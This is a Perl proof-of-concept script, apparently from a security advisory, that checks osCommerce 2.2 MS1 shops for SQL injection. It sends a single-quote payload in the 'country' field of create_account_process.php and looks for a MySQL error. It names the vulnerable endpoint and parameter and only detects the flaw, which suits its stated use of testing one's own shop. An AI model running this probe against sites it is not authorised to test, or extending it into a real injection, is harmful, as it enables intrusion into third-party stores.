SQL Injection Vuln In osCommerce 2.2

#!/usr/bin/perl
############################################################################
# osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org/ ]
############################################################################

use LWP::UserAgent;

############################################################################
# Use this script to test if your shop is vulnerable. Results are obvious
############################################################################

$ua = new LWP::UserAgent;
$ua->agent("Mozilla/4.0" . $ua->agent);

if (!$ARGV[0]) {
&usage;
}

$host=$ARGV[0];

print "Trying $host ....\n";

my $req = new HTTP::Request POST => "http://$host/create_account_process.php";
$req->content_type('application/x-www-form-urlencoded');
$req->content("action=process&country=%27");
my $res = $ua->request($req);
$pattern = "You have an error in your SQL syntax";
$_ = $res->content;

print "\n" x 3;

if (/$pattern/) {
print "Host Is Vulnerable!\n";
print "Download The Latest osCommerce ...\n";
print "http://www.oscommerce.com/downloads\n";
} else {
print "Host NOT Vulnerable\n";
}

print "\n" x 3;

exit;

sub usage {

print "osCommerce 2.2 MS1 Proof Of Concept - By JeiAr [ http://www.gulftech.org/ ]\n";
print "--------------------------------------------------------------------------\n";
print "perl ossqlin.pl \"path to shop\" ex: ossqlin.pl www.mywebstore.com/catalog\n";

exit;

}